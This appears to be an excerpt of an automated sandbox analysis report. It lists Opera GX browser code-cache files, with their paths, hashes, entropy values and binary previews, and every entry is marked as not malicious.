                                                                                                                                                                                                              SHA-512:AFF3E7B32EE5C15777C49821C6482F889C8B6062D67A15F0594F7FE99D5A0F65049B82F6459A31F21CFF2959A823C0625220772EFB32A8B9196B1127FAFC8EA4
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m..........N.$F...._keychrome-extension://obhaigpnhcioanniiaepcgkdilopflbb/message_handlers/startpage_message_handler.js .chrome-extension://obhaigpnhcioanniiaepcgkdilopflbb/.A..Eo..........................@..............CI.p.cpui..1.+C...1&...GU.....t./.........DM..........:..g.....W.._n.s..lN"5.....A..Eo......x*.hL.......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\4fec6cc64adc608a_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9232
                                                                                                                                                                                                              Entropy (8bit):5.828006952310774
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:2BD1D6F84803FEA04F993B652CC1DA8B
                                                                                                                                                                                                              SHA1:5165E94A6DDC8B23E7153301BAF1F58BB77D15DF
                                                                                                                                                                                                              SHA-256:029F1963C6D191447584A16C1F07B32A6C4CB275376D3227A0903A66D03645B6
                                                                                                                                                                                                              SHA-512:93172CC9B10E34110EBF8ADD19942AF19A1C38AC9A09A51DD20E1358979F6562E2609B720C7C80111484CBE98645DF663C72FC7A548D38D40F5CD6FE47623CD8
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......L.....d...._keyhttps://gxcorner.games/assets/index-Cl97QX7T.js .https://gxcorner.games/....s./.........<...z..d.......na #...........0T.......`............a..........Y..y..U.........?.+..p....,..............x.....................................................0...4.................0.............t. ......T.`.H.(...(.4......,...........4.L.."...0............................@................................................,..............................4...............L...............T.(.L.<.P.\.\.8.....................q.a....\.....Lb............a.........0T.....`..........a..........4.kR.......4.4...P...H...(...0...`...d.H...............d .......n.............0.`......!..........!..!......R...-5....._sentryDebugIds..0Rjjm=.$...689de3a6-26e2-4a28-8db1-6bf3914e796e.<RmR.2.0...sentry-dbid-689de3a6-26e2-4a28-8db1-6bf3914e796e.$R. &gw....._sentryDebugIdIdentifier..(.............."..Y....q....!...'"..Y....q....!...."..Y....q....!......!...l...../....$/.........5.../......7...

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\503dc3becfd9d2a7_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8551
                                                                                                                                                                                                              Entropy (8bit):5.762007854483718
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:0C946901C48D393CCC48C085EC390342
                                                                                                                                                                                                              SHA1:69F3325A9F85373E3D224B80FC7A55286F2C9631
                                                                                                                                                                                                              SHA-256:195C28AAE498B27C5080548EC5AE4241B13C15D67921491C41768F36B11A2D48
                                                                                                                                                                                                              SHA-512:380472593DDDAEAE1D7FE9D271DAE78872D2E1A3E964340BF847EA5E97365729BB69B2D2314D5E15CCE5B40937748074804845FB6337F21D8153331B0462250E
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......[...Gu1....._keyhttps://gxcorner.games/assets/IntersectionObserver-DNzenOzn.js .https://gxcorner.games/....s./.........<...z..........nah ...........0T......`>...........a..........<.y.md.......a.)........,.......h..........(........."1?...........D.q.a....~....0T......`..........a........`........X.`(....pSd.qA...........................A.......A...........A.....h(.....................................A.`....D.}.Se.1..............6.....................A.................g................................I`........`......L`.......... R..R.b....../index-DMZ02uhD.js.]`........ R.........../App-Dh0jPV6c.js...]`*...]..L`......A.`......L`........].`L`,.... ...D........c........4...6.... .D..A.....c................. .D........c................. .D........c........8...:.... .D..A.....c........B...D.... .D........c........P...R.... .D......Rb^..5....ad..c........^...b.... .D..A...Rb.* .....al..c........n...r.... .D......A.c........~........ .D........c................. .D..A.....c.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\54846a74315ddbdf_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):304
                                                                                                                                                                                                              Entropy (8bit):5.437948436702359
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:000EE9860E3BBBC1F0B2A46DB4EA460E
                                                                                                                                                                                                              SHA1:FE33C107FA13D6E02DA7BDDC8D3A8D57BE45A697
                                                                                                                                                                                                              SHA-256:3A8E2C67E73EAAD863F7C155AE00F7AABE2221C9811495F74A20A8CB6695DE12
                                                                                                                                                                                                              SHA-512:2277496C974F706A1B92CB49BB619EDD9811EC327A8E69BE2C2EFDFCFCBBE86AAF6FFC1AD6BE1C7B6E9956DA42382392D9F4077D481E731DD428327BCAB10DE2
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......|...v.*....._keychrome-extension://pdcifnciicbfakdajkbbhphlabjminhg/utils/utils.js .chrome-extension://pdcifnciicbfakdajkbbhphlabjminhg/.A..Eo..........................@.............J.8.?FjZ@.g. /ic.?k.M..y.3......t./..........M.......D...[o....^gC1.bM]1#.....c.I.d..A..Eo......1..L.......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\58a55ac4a97dc034_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):64184
                                                                                                                                                                                                              Entropy (8bit):6.238599793772692
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:E0A528589939E47FD7E98FC51629CBE0
                                                                                                                                                                                                              SHA1:DBA5096212D11AFD2191FF6DD51A02D0BAB3E20E
                                                                                                                                                                                                              SHA-256:EEF3CC17C4100E856F8ED03F7164312268DFC4D369D0C8CA17915876E1DDFA94
                                                                                                                                                                                                              SHA-512:40BC01CD96D5DEE9B064B297BDBFB20661032050AA45922BAD3E144E718A25653653CD1002313022D83BB58B1202F5863E169E68879A487AE9E0032ED1181BF1
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......@.....X....406C285785884BAC99C15D169F202A7E026AB1A0F19AFE9AED5A2925D6C312EC....s./.........<...z..k.......na.............0T.......`............a..........l.y.y...........)..X....!......1C...-C..3-C..........................-C..A-C........................7...............q.ah...\....0T..|..`..........a........`........<.`.....HSd.qA.........,.........A...........A.c(.................Rb.......ot..`....D...Se.1......6...........n.....Re........__vite__mapDeps..(..Rb........ct....Rb..g.....ft....Rb........dt....Rb.4Q.....ut....Rb.+._....ht....Rb.\.l....gt....Rb.0.....fe....Rb...&....He....Rb."#...._t....Rb.^7.....pt....Rb.v......Ve....Rb...'....Be....Rbf8.6....De....Rbv(......mt....Rb.X......Ct....Rb..*....vt....Rb........Se....Rb"......Ie....Rb..!....yt....Rb. .S....bt....Rbz0_!....Lt....RbZ..^....Te....Rb..&....kt....Rb...^....wt....Rb.H.H....Ht..z............................................................................................................I`........`

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\59a506d7b4a7496f_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):15625
                                                                                                                                                                                                              Entropy (8bit):5.715883886737465
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:E1ECC328C3C97F607212CFD258D16BB9
                                                                                                                                                                                                              SHA1:723B7D076B030C9D9DA0D02F801D8E2E64EE35C5
                                                                                                                                                                                                              SHA-256:3EC8396187E358D589F3995ED6DB950C43F924D2B3EBDD9A30DA5A79CC2363F6
                                                                                                                                                                                                              SHA-512:3D97E0C29315549D7E5870DAC3EBAC3629160884EB61B88188D5A284F0FD807995FB3A93B5BCD525BF839AA668FC43F83ABD135CAC9D5B35B7B8BAE88072F790
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......M..../.B...._keyhttps://gxcorner.games/assets/Badges--rKIoSG1.js .https://gxcorner.games/....s./.........<...z..........na.<...........0T......`............a.......... .y.f,.......y.).........Y1?...........D.q.a.........0T....`..........a........`..........`<....8Sd.qA.........D...6.........A.a............`....D...Se.1..............H...2.................A.............f............................I`........`......L`.......... R..R.b....../index-DMZ02uhD.js.]`n....... R.........../App-Dh0jPV6c.js...]`6...]..L`........`......L`......A.].hL`0.... ...D......A.c................. .D..A.....c........,........ .D......A.c........:...<.... .D......Rb.N;.....aW..c................. .D......Rb...`....aa..c........X...\.... .D..A.....c........~........ .D........c........h...j.... .D..A.....c................. .D........c................. .D..A...A.c............ .... .D......Rb:N.....an..c........H...L.... .D..A.....c................. .D........c........v...x.... .D..A.....c.........

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\6473f55eaa1e3a5b_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):256
                                                                                                                                                                                                              Entropy (8bit):5.89719487761213
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:7B29458FE799A35151BE2E9A6A8B8AE1
                                                                                                                                                                                                              SHA1:3A50526EEC704194BB82C37DDA48B831539CDAC9
                                                                                                                                                                                                              SHA-256:1A772ACB464920660284CF723E42B66578F6734C275086C0A117713A1E3B1D20
                                                                                                                                                                                                              SHA-512:EBCA6E23D2293983C669386EB5F0CC083367AAAE4B8B83177FDBA1B38B47692C11D958BBD46B9E4833818F16A30804DD8A9FB10CDCC61B931752E3DE81E78102
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......L...(f....._keyhttps://gxcorner.games/assets/index-DMZ02uhD.js .https://gxcorner.games/.A..Eo...................G.../.....5689FA3CD7B1504B36EA325AB81235860019321647F1A76A7D97EBE01C54305DW.{v.~N.j...i.....<D.bs+A@..g.A..Eo........&.L.......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\65af9332f2b5bc27_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):6345
                                                                                                                                                                                                              Entropy (8bit):5.642371224136338
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:2AB944962571C908ABBB4F1C5774EE86
                                                                                                                                                                                                              SHA1:49FFB5B8262CE1B9FA5B96D3039EF1BD85FD1E58
                                                                                                                                                                                                              SHA-256:3E77F329212FD0263619A7136DE16F8E8D24920330F5147C6925830235FB730E
                                                                                                                                                                                                              SHA-512:5CEE3D76258C9C0152E8E699C36340EE07FC18CC4B43E08446AEA6B8132DCEEF1A65DC56B33B1A8B5A8E4544E6AC43054EA2A885A1F4A3359C3365D8C1757EB1
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......M...;8.F...._keyhttps://gxcorner.games/assets/Footer-C9HhjYxy.js .https://gxcorner.games/....s./.........<...z...4......na.............0T..=....`$...........a..........8.y.l\..........).............l...x...(....'1?....-C.............q.aD...P....0T`.........Ia..........A....Se.1......2.......$i..F.....A...Rb...E....i1....A...Rb>E.....u1............Rb.k(.....p1.............Rb.i].....d1....RbV*......_1....R..fy.....h1....Rbr..w....m1....Rb...H....g1....Rbr..+....C1....Rb.>X`....v1....Rb./4r....w1....Rb.......b1....Rb~.......k1....Rb..!%....M1....RbJ;......x1....Rb.H.-....L1....Rb..t9....Z1....Rb.e......H1....Rb..m%....y1..x....................................................................................................I`........`......L`.......... R..R.b....../index-DMZ02uhD.js.]`........ R.........../App-Dh0jPV6c.js...]`........ R..V......../index-Cl97QX7T.js.]`........$R. RU......./strings-arc53U-2.js...]`r...]..L`......RbR.......B1..`......L`.......]..L`D.... ...D.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\7821018712474994_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):259
                                                                                                                                                                                                              Entropy (8bit):5.776094255314364
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:FE29E2A7BBDA6D938D4F39F72D9DE330
                                                                                                                                                                                                              SHA1:E9DE11F84137615B56797619587759C8CDD7312C
                                                                                                                                                                                                              SHA-256:C5E246B921DA588C4457C0F12F882D630F7ACD5D2C2D80B59BAAE68229A20C17
                                                                                                                                                                                                              SHA-512:4CAC498C4EF1F3CE61D1020AD326645E4E93A4E701258BE07B3A3224F53CFA31E02E4822BC4C37C0B76ABC9BB06ABA7C8F27BF510B8CC5381D5CD0B5460BDC7F
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......O.........._keyhttps://gxcorner.games/assets/Trailers-qC5SumZ8.js .https://gxcorner.games/.A..Eo...................!+../..P..9AFEFA06F0DE0F20BBC10BA8A94F488ABF1F55F8AE43C3DB64DDF23A0FA62DD7.WNr3.LoF.`.+(..[D.Y.)An....W.A..Eo.......2..L.......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\7bf3e1a3d8dd777e_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):261
                                                                                                                                                                                                              Entropy (8bit):5.78548174456345
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:B9C8D013EF7FB9B26CB5F2D9C6ECD047
                                                                                                                                                                                                              SHA1:4E2869DF27832CA36E2174FFF880B4626E72F080
                                                                                                                                                                                                              SHA-256:711EA25BE0C8BE9FDCD637AB70D9DE16098AE05B09EDC5DDEB60F58B96E00FE1
                                                                                                                                                                                                              SHA-512:E68E15CCB3652B3C0CCFB3AC3C747ABA236E3EEC5D78B3F3E851556D47DA960959219E145DDB77D57F9CFB888D3483265A0857197C18F088C15C7131CC2C7759
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......Q......N...._keyhttps://gxcorner.games/assets/GamesDeals-yjwFrzHB.js .https://gxcorner.games/.A..Eo..................e.L../.xl..0735E1FE5AB585C78FF62939F82BA582BA8DE495523F89CB2465EDDDB97BADB7.r.1.kk...5O.. ...;F..'..15..).A..Eo........PL.......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\8397f4d70f2f8ed1_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):255
                                                                                                                                                                                                              Entropy (8bit):5.797582168931126
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:CE54BA0ACDCC680DEC419B690A384FF7
                                                                                                                                                                                                              SHA1:E51C44CE5F513182FA2F9ED0E73AC0B4AC8E0FE7
                                                                                                                                                                                                              SHA-256:A545BDF8856A304608D34BC7891102D71D82940F3A9F2DAB3252A32BA8A17843
                                                                                                                                                                                                              SHA-512:D87A789E49D52531CF3F3128A68E0D6944FCA18DD251912E5156E27AF4299B23D08DFBA810DC7D1C58273F68FBCE8EC53EB10935D09A327040977646E82E5EF9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......K.....5....._keyhttps://gxcorner.games/assets/Hero-CqS9XNpl.js .https://gxcorner.games/.A..Eo..................Iy,../..l..DEEBB935FA22ABED72BA6A6ED646F9DF5CC40EFB016409B2FF88D04708741948...fD.Ae...q..v4#.eO..\"...`...A..Eo.........3L.......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\8feeff9db15cf3b0_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):7636
                                                                                                                                                                                                              Entropy (8bit):5.701055947950528
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:82165E8234B4573B53F76BBDD150FC29
                                                                                                                                                                                                              SHA1:9B3FDC58C755E01946F13BBB2EFA8EAE5C7439DA
                                                                                                                                                                                                              SHA-256:9343ACBE2E367843D342C3A2963F91443C3FA72485193EE5B23FB7176A6FC4BB
                                                                                                                                                                                                              SHA-512:DF1DC5FFF6BF2F76740BCEDBF4CE207D2B2257A095CF320D481B3643ABCB890BE3E1D45A8626462A8E0EA5303B16CF69DBB041C175BC227E20C6908288635899
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......P.....Py...._keyhttps://gxcorner.games/assets/VideoHero-k4yj-b9o.js .https://gxcorner.games/....s./.........<...z..W.......na.............0T......`............a.......... .y.f,.......I.).........,1?...........4.q.a....f....0T....`B.........a........`........`.`,....HSd.qA.............F.................A.c(...................`....D.=.Se.1..................*...............b............I`........`..... L`.......... R..R.b....../index-DMZ02uhD.js.]`........ R.........../App-Dh0jPV6c.js...]`........ R...y......./Hero-CqS9XNpl.js..]`R....... R..V......../index-Cl97QX7T.js.]`........$R. RU......./strings-arc53U-2.js...]`........$R. ........./TempBanner-BO6TytuB.js]`....]..L`......A.`......L`.......].XL`(.... ...D........c........8...:.... .D......Rb..FP....ah..c................. .D........c........F...H.... .D......Rb*!r.....aU..c................. .D........c................. .D........c................. .D........c................. .D..A.....c................. .D......A.c....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\a0eade5135e046a7_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10883
                                                                                                                                                                                                              Entropy (8bit):5.7371576111734255
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:31A673F10D499A1666FD292C1BD7EFCC
                                                                                                                                                                                                              SHA1:13F7959590302B3D841AA575F62A2AC19F5E3BB5
                                                                                                                                                                                                              SHA-256:AE6D899A9C8211E92077CF7EF5CC8E4CA0FD619568C8C755598084BA9D8D730E
                                                                                                                                                                                                              SHA-512:1F27353117DCE6D3905B8C3D86EC0761C87632308EF23505F91518EC801CD9F2BA15622E4C24F5844D6115F9704C792CFD088DDBE86D1DAD7E70D5306C5214AF
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......W...#......._keyhttps://gxcorner.games/assets/CollectiblesHero-BDG3ngqj.js .https://gxcorner.games/....s./.........<...z..l.......na.)...........0T......`............a..........$.y.g8..........).........U1C..q-C.........h.q.a0........0T`.........IaQ........4..k&.............@......@......@......@......@.......Rb.0.....fe.....Se.1...............8..T.... ......Rb..1 ....ue....Rb...6....ce....Rb..E.....me....Rb...>....de....Rb...1....ge....Rb..%Y...._e............Rb...$....be....Rb.a......pe....Rb.......$e....Rb.TR.....ke....Rb.......he..n............................................................I`........`.....$L`.......... R..R.b....../index-DMZ02uhD.js.]`*....... R.........../App-Dh0jPV6c.js...]`:....... R.........../Badges--rKIoSG1.js]`........ R...y......./Hero-CqS9XNpl.js..]`~....... R..V......../index-Cl97QX7T.js.]`........$R. RU......./strings-arc53U-2.js...]`Z.......$R. ........./TempBanner-BO6TytuB.js]`....]..L`......Rbf8.6....De..`......L`.......]..L`R.... .

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\a2dff4f1fb695978_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):6879
                                                                                                                                                                                                              Entropy (8bit):5.757478331335485
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:AB4DB1D22C8D77D545AE8EC2EF65F80F
                                                                                                                                                                                                              SHA1:0D9CB32999AEAA8AE60F643B2E5F876EABD0D276
                                                                                                                                                                                                              SHA-256:2E5878CE403369DE7158DBEA2159FAF43973854AB5FBF459CCD6B87A14B029FE
                                                                                                                                                                                                              SHA-512:1B53686CF3EF0C70F2CA17D038D1013A745B58406E861EB1B9536A2745BFE1AD9DB8FE1788FDCA798A19940F636B95640105C7250411629BA3E818B024B8F212
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......S...]o......_keyhttps://gxcorner.games/assets/locale-en-GB-CR57eqLP.js .https://gxcorner.games/....s./.........<...z..........na.............0T..p...`............a.......... .y.f*.......%.).......,............... .q.a....B.....La........a.........0T.....`..........a..........0.jP....(.4.4...P...H...(...0...`...d.H............d .......n.............0.`......!..........!..!......R...-5....._sentryDebugIds..0Rj....$...9400f17e-1665-4784-9f35-c28c168ccc04.<Rm.R..0...sentry-dbid-9400f17e-1665-4784-9f35-c28c168ccc04.$R. &gw....._sentryDebugIdIdentifier..(.............."..Y....q....!...'"..Y....q....!...."..Y....q....!......!...l...../....$/.........5.../......7......5...............`.....(Sd.qA.............f...I`....D.4Se.1...............%......I`........`.....]..L`......A.`......L`........]..A.a.........$..g .........h...h...h...P..,.......H......DQ.@...6...https://gxcorner.games/assets/locale-en-GB-CR57eqLP.js..a........Db........6...D`.......Y.`..........D`.....D]De......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\a43c2e853eeb0c53_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:modified
                                                                                                                                                                                                              Size (bytes):20480
                                                                                                                                                                                                              Entropy (8bit):5.539459083478508
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:8316E531768F9EABD89D7648F79187A9
                                                                                                                                                                                                              SHA1:A56CE6AB57D0936CEE16267C891A4CDC57A5D8C1
                                                                                                                                                                                                              SHA-256:E2394D018F1D1F869A9A8FD02F0094CEB44E48C5A986CD4041891DA2F51F0188
                                                                                                                                                                                                              SHA-512:E3B26CE1B163F99479020231A664FA57371AB79BF8733E0D100A7FA7D612C8255678746244810A3DB874C4E3DC6517E77D6313BACE4977EDA47DF26F03AE995A
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......@....'.....4F34696E03BCB33936F73E26065C35EDFDBF4FABA9BE74EE71C6525283796E83....s./.........<...z..........na(O...........0T......`X...........a..........$.y.g8..........).........D1?..--C.........T.q.a&........0T..t..`..........a........`........0.`.....PSd.qA.........6.................A.........d(.......................`....D...Se.1.............. "..@.........A...........A.......Rb.y[.....ee....Rb........te....Rb:l......ne....Rb........se..i........................................I`........`......L`.......... R..R.b....../index-DMZ02uhD.js.]`........ R.........../App-Dh0jPV6c.js...]`2....... R..V......../index-Cl97QX7T.js.]`........$R. RU......./strings-arc53U-2.js...]`....]..L`......Rb........ie..`......L`.......]..L`>.... ...D........c................. .D........c........X...Z.... .D..A...Rb...`....az..c................. .D........c........x...z.... .D..A...Rb.* .....al..c................. .D......Rb.N;.....aW..c................. .D......Rb...`....aa..c..............

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\aa2493ab490d6c2d_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):333
                                                                                                                                                                                                              Entropy (8bit):5.509456000503962
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:94CE9BC6CDD417DAC0FCF822896C528B
                                                                                                                                                                                                              SHA1:9BFE10CEA4118555AFD2FA7400998312967BCCB8
                                                                                                                                                                                                              SHA-256:1F387FD73B121E89A342FD6933DBDA83EA02D4DDE03AB8B8D0E6A82D9D5305DA
                                                                                                                                                                                                              SHA-512:30241CBFA5BF0A88B7EB03976BEC95CFCAD5E264A01993369BDF56B99B2E1FC5A5E1D80B780BCA4EE4164A85214928E05D5D6014896EAFA2392BFB75C9235279
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m................._keychrome-extension://obhaigpnhcioanniiaepcgkdilopflbb/message_handlers/browser_message_handler.js .chrome-extension://obhaigpnhcioanniiaepcgkdilopflbb/.A..Eo..........................@.............f...QDl....nr..+!G.A.3..6.........t./..........L................W..b.c....&)#....R..A..Eo.......T.L.......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\bf5defd3c9899da8_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):310
                                                                                                                                                                                                              Entropy (8bit):5.573960092048377
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:B8D0AEDD33DF417B765FB4B35B282E8A
                                                                                                                                                                                                              SHA1:6838EDD88254640AAFFE7371F7E236737E17D862
                                                                                                                                                                                                              SHA-256:43490E6925B168BA9D1A73B197A46703ACDEF7F8E1FCFD0431110FEBCBC39A05
                                                                                                                                                                                                              SHA-512:7669AC5588C7F0FF25C00F39FA15170F59B6E4920F9D1A06BDEDBC7F7DCDAA668BFAC45956A4CF24FBE1196FEAE28724CFB90B6B73F4BD853E8BEA495FA44F38
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m.................._keychrome-extension://obhaigpnhcioanniiaepcgkdilopflbb/background_worker.js .chrome-extension://obhaigpnhcioanniiaepcgkdilopflbb/.A..Eo..........................@.............-H....6.OaWBjqrT.3..>l.5...=1.....t./.........NM......lh=.....7.....Y*<..I{.C|.......A..Eo..........L.......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\c7f4accc0246aad1_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):336
                                                                                                                                                                                                              Entropy (8bit):5.477959010847746
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:146A1C0210DC543B507783EA6BB7EFC8
                                                                                                                                                                                                              SHA1:EF151F358644F15459266318FC524B610EADAEC8
                                                                                                                                                                                                              SHA-256:1CD07473C60F0C73DEABB42D465CDEA896D6D8A3EE29975F92C9156F957CEE82
